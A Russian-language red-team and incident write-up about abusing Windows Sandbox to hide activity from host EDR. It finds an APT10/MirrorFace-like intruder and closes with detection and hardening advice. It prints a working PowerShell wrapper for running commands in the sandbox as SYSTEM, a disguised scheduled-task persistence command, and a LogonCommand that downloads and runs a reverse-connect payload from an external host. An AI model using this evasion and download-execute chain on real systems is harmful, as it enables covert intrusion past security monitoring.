
В рамках проведения внутреннего аудита информационной безопасности (Red Team) перед нами стояла задача проверить АИС. Обычно на таких проектах ты заранее знаешь, что увидишь. что заказчик выполнил требования Приказа № 117: процессы задокументированы, матрица зрелости заполнена, отчёты уходят в ФСТЭК, CMDB ведёт учёт, SOC дежурит, EDR стоит на каждой машине.
Получив первоначальный доступ под локальной учёткой, мы оказались перед очевидным ограничением: на хосте - Windows 11 и работающий EDR. Любой готовый инструмент или «классический» payload почти сразу улетит в алерт. Вектор не пришлось выбирать - он сложился из доступных легитимных возможностей. Особенность заключалась в том, что мы не пытались выбраться из песочницы (техника T1497 Virtualization/Sandbox Evasion), а наоборот зашли внутрь нее, чтобы спрятаться от средств зашиты хоста.
Формально - полный комплект. АИС, подпадающая под требования Приказа № 117, располагала развёрнутым EDR на конечных точках, функционирующим SOC с дежурными аналитиками, CMDB, в которой учитывались серверы и рабочие станции, и набором регламентов.
То есть перед нами была не «голая» инфраструктура, где защиты нет в принципе, а система, в которую вложили время и деньги, много денег.
Windows Sandbox - лёгкая одноразовая ВМ на базе того же гипервизора, что и Hyper-V, Она встроенна в Windows 10 начиная с версии 1903 и Windows 11 в редакциях Pro и Enterprise без установки дополнительного ПО. Для сложившейся ситуации - Windows 11 + EDR - это была почти идеальная площадка.
Доверенный бинарник. Запуск wsb.exe — легитимная активность ОС, подписанный компонент Microsoft. Большинство EDR не относят его к подозрительным по умолчанию.
Отдельный «песочный» контекст исполнения. Внутри сессии поднимается изолированная копия Windows без установленных на хосте агентов защиты.
Управление через wsb.exe. Консольный интерфейс позволяет управлять сессией и обмениваться данными через общую папку в фоновом режиме.
Легальность самого факта запуска. Событие «пользователь запустил встроенную песочницу Windows» само по себе не инцидент — это штатная функция ОС для тестирования ПО
Инверсия T1497
Обычно вредоносное ПО пытается обнаружить, что оно работает в виртуальной среде, и покинуть её. Мы же поступили наоборот: зная, что хостовый EDR не видит процессы внутри гостевой ОС, мы сознательно вошли в песочницу, чтобы действовать оттуда. Это меняет модель угрозы: виртуализация перестаёт быть средством анализа вредоноса и становится укрытием для атакующего.
Разворачивание .WSB: как мы готовили плацдарм
Хост - Windows 11, на ней установлен и настроен EDR, любые готовые payloads, offsec-тулзы и шумные бинарники с большой вероятностью вызовут алерт. Нам нужен был способ запустить инструменты, не задевая хостовых агентов.
Включение компонента через PowerShell
Enable-WindowsOptionalFeature -FeatureName "Containers-DisposableClientVM" - All -Online
Требуется перезагрузка.
Конфигурационный файл .wsb
Пример нашего файла для разового запуска:
<!-- session.wsb — конфигурация изолированной сессии --> <Configuration> <Networking>Enable</Networking> <MappedFolders> <MappedFolder> <HostFolder>C:\ProgramData\wsbshare</HostFolder> <SandboxFolder>C:\wsbshare</SandboxFolder> <ReadOnly>false</ReadOnly> </MappedFolder> </MappedFolders> </Configuration>
Общая папка C:\ProgramData\wsbshare - канал обмена между хостом и песочницей. Файлы, положенные в неё с хоста, появляются внутри сессии по пути C:\wsbshare, и наоборот.
Самописная обёртка для управления
Поскольку стандартный wsb.exe не поддерживает захвата stdout внутри SandBox и передачу в хостовую машину, написали PowerShell-скрипт-обертку, которая :
проверяет существование песочницы;
монтирует общую папку;
записывает команду в
.cmd-файл;запускает её внутри сессии;
ожидает появления файла с результатом и маркером DONE.
param( [Parameter(Mandatory)][string]$Id, [Parameter(Mandatory)][string]$Command, [ValidateSet("System","ExistingLogin")][string]$RunAs = "System", [int]$TimeoutSec = 30 ) $hostShareRoot = "C:\SandboxShare\$Id" $sandboxShareDir = "C:\SandboxShare" $listRaw = wsb list 2>$null if (-not $listRaw) { Write-Error "Failed to get sandbox list (wsb list). Verify that the sandbox is running." return } $found = $false try { $sessions = $listRaw | ConvertFrom-Json $match = $sessions | Where-Object { $_.id -eq $Id -or $_.Id -eq $Id } if ($match) { $found = $true } } catch { # Not JSON, parse as text (each line is an ID) $ids = $listRaw -split "`r`n" | Where-Object { $_.Trim() -ne "" } foreach ($id in $ids) { if ($id.Trim() -eq $Id) { $found = $true break } } } if (-not $found) { Write-Error "Sandbox with Id '$Id' not found in 'wsb list'. Create it separately first." Write-Host "Current sandbox list:" -ForegroundColor Yellow Write-Host $listRaw -ForegroundColor Yellow return } New-Item -ItemType Directory -Path $hostShareRoot -Force | Out-Null $shareResult = wsb share --id $Id -f $hostShareRoot -s $sandboxShareDir --allow-write 2>&1 $marker = [guid]::NewGuid().ToString("N").Substring(0,10) $cmdFile = Join-Path $hostShareRoot "$marker.cmd" $outFile = Join-Path $hostShareRoot "$marker.out" @" $Command > "$sandboxShareDir\$marker.out" 2>&1 echo DONE>> "$sandboxShareDir\$marker.out" "@ | Set-Content -Path $cmdFile -Encoding ASCII $sandboxCmdPath = "$sandboxShareDir\$marker.cmd" Write-Host "Executing command in sandbox..." -ForegroundColor Cyan wsb exec --id $Id -c $sandboxCmdPath -r $RunAs | Out-Null $elapsed = 0 $done = $false while ($elapsed -lt $TimeoutSec) { Start-Sleep -Milliseconds 700 $elapsed += 0.7 if (Test-Path $outFile) { $content = Get-Content $outFile -Raw -ErrorAction SilentlyContinue if ($content -and $content.TrimEnd().EndsWith("DONE")) { $done = $true break } } } if (-not $done) { Write-Warning "Timeout ($TimeoutSec sec) - command did not complete or sandbox is unavailable." return } $result = (Get-Content $outFile -Raw) -replace 'DONE\s*$', '' $result.Trim() Remove-Item $cmdFile, $outFile -ErrorAction SilentlyContinue
Пример использования:
.\Sandboxexec.ps1 -Id "XXXXXXX-7c90-4e36-8eca-XXXXX" -Command "whoami"
#Executing command in sandbox...
#nt authority\system
Казалось бы, идеальный плацдарм готов. Но именно на этом шаге всё пошло не по плану.
«Мы здесь не одни»: момент, когда аудит перестал быть аудитом.

При попытке подготовить окружение мы обнаружили, что Windows Sandbox уже включён, существует структура шаринга, лежит готовый конфигурационный .wsb файл, а в Task Scheduler присутствует подозрительная запланированная задача.
По правилам взаимодействия с заказчиком любые признаки активности, не относящейся к согласованному сценарию тестирования, требуют немедленной остановки активных действий и эскалации. Мы так и поступили: заморозили собственную часть работ, чтобы не затоптать улики, уведомили ответственных за реагирование на стороне заказчика и перевели проект в режим compromise assessment - установления глубины и давности присутствия постороннего актора в инфраструктуре.
Техника закрепления: Windows Sandbox как постоянная точка присутствия
В отличие от нашего плана - развернуть песочницу разово, выполнить задачи и свернуть сессию - обнаруженный актор использовал WSB именно как механизм закрепления (persistence), а не разового инструмента. Ключевой элемент - запланированная задача, которая периодически поднимала сессию Windows Sandbox.
Реконструкция по артефактам Task Scheduler:
schtasks /create /tn "WindowsUpdateHelper" /sc onlogon ` /ru "ALT_SVC_ACCOUNT" /rl highest ` /tr "wsb.exe run --config C:\XXX\XXX\session.wsb"
Благодаря этому окно песочницы никогда не появлялось на экране залогиненного пользователя, а сама сессия переживала перезагрузки и плановые проверки службой ИБ.
Загрузка payload через конфигурацию WSB
Разбор найденного .wsb-файла показал, что параметр LogonCommand был настроен не на локальный скрипт, а на команду, которая внутри сессии скачивала архив с внешнего ресурса, распаковывала его и запускала исполняемый файл. Пример того, что мы увидели (отредактировано):
<LogonCommand> <Command>powershell.exe -WindowStyle Hidden -Command "iwr -Uri hxxps://XXXX-cdn[.]com/YYYYY[.]zip -OutFile $env:TEMP\svc.zip; Expand-Archive $env:TEMP\svc.zip -DestinationPath $env:TEMP\svc; Start-Process $env:TEMP\svc\helper.exe"</Command> </LogonCommand>
Содержимое архива - скомпилированный бинарник, устанавливающий обратное соединение (reverse connect) с внешним C2-сервером.
Схема атаки:

Весь процесс происходил внутри изолированной сессии. Хостовый EDR не видел ни скачивания, ни запуска, потому что для агента WSB процессов не существовало. C2-трафик маскировался под сетевую активность процесса виртуализации.
Атрибуция: пересечение с тактикой APT10/MirrorFace
Ровно такую же логику закрепления в январе 2025 года описали японские Национальное полицейское агентство (NPA) и Национальный центр готовности к инцидентам (NISC) в бюллетене о кампании группировки MirrorFace — подразделения, которое исследователи ESET, Kaspersky, Trend Micro и Cybereason связывают с китайским кластером APT10.
По данным ESET, атакующие размещали на скомпрометированном хосте батник-файл, архиватор (например, 7-Zip) и заранее подготовленный архив с кастомизированной версией AsyncRAT, а затем запускали эту цепочку внутри сессии Windows Sandbox — чтобы скрыть вредоносную активность от средств защиты на хосте. В параллельных кампаниях та же группа злоупотребляла легитимными remote-tunnel-функциями Visual Studio Code — тем же принципом «бери то, что уже стоит у жертвы, и не приноси ничего лишнего».
Мы нашли прямые доказательства активности актора, включая артефакты эксфильтрации через легитимные облачные сервисы. Почему это осталось незамеченным - и почему это системная проблема. Формально требования Приказа № 117 (как и большинства аналогичных регуляторных документов) обязывают иметь СЗИ класса EDR и работающий SOC, но не детализируют глубину настройки этих средств. В результате типичная картина выглядит так.
EDR разворачивается с политиками «по умолчанию» без тюнинга под инфраструктуру заказчика.
Виртуализационные и контейнерные подсистемы (Hyper-V, WSB, WSL, Windows Containers) явно не включены в периметр мониторинга и не учтены в CMDB как активы, требующие контроля.
SOC работает по правилам «из коробки» (vendor default rules), ориентированным на распространённые техники, но не покрывает абьюз легитимных компонентов ОС.
Это не «дыра в EDR» - это дыра в процессе настройки и эксплуатации EDR/SOC, которой в равной степени пользуются и пентестеры, демонстрирующие риск, и реальные группировки, реализующие его. Разница лишь в том, что после этого написали отчёт, а группировка - нет.
Рекомендации по противодействию
Явно решить на уровне организационной политики, нужен ли Windows Sandbox бизнесу; если нет - отключить компонент через GPO.
Если WSB нужен - ограничить его использование конкретными группами через AppLocker/WDAC с обязательным логированием запуска.
Отдельно контролировать задачи Task Scheduler, запускающие процессы под альтернативными учётными записями с последующим обращением к WSB/Hyper-V - это редкая, но крайне показательная комбинация.
Учитывать в CMDB все хосты с включённым компонентом Containers-DisposableClientVm - это актив, требующий контроля.
Провести полноценный тюнинг политик EDR: контроль LOLBins, Script Block Logging, контроль сетевых соединений по контексту процесса, а не только по репутации домена.
Замкнуть цикл: настройка EDR → верификация через purple team → корректировка → повтор.
Заключение
Рассматривать требования Приказа № 117 не как чек-лист «СЗИ есть», а как процесс непрерывной верификации детектирующей способности; зрелость настройки остаётся зоной ответственности организации.
Заключение
Мы заходили на этот проект, чтобы провести аудит и продемонстрировать риски: штатный компонент Windows может стать плацдармом, невидимым для EDR и SOC. Риски подтвердились, но не так, как мы планировали. Вместо демонстрации гипотетической атаки мы обнаружили, что уже реализован практически идентичный сценарий, причём с элементами закрепления, которые почти дословно совпадают с задокументированной в 2025 году кампанией APT10/MirrorFace. Вывод простой и одновременно неудобный: наличие СЗИ снижает риск только тогда, когда оно настроено под реальную модель угроз конкретной инфраструктуры, а не работает на дефолтных политиках вендора. Приказ № 117 — это база, а не потолок зрелости защиты, и иногда разница между «мы прошли аудит» и «у нас в сети APT» — это одна и та же нетронутая настройка мониторинга.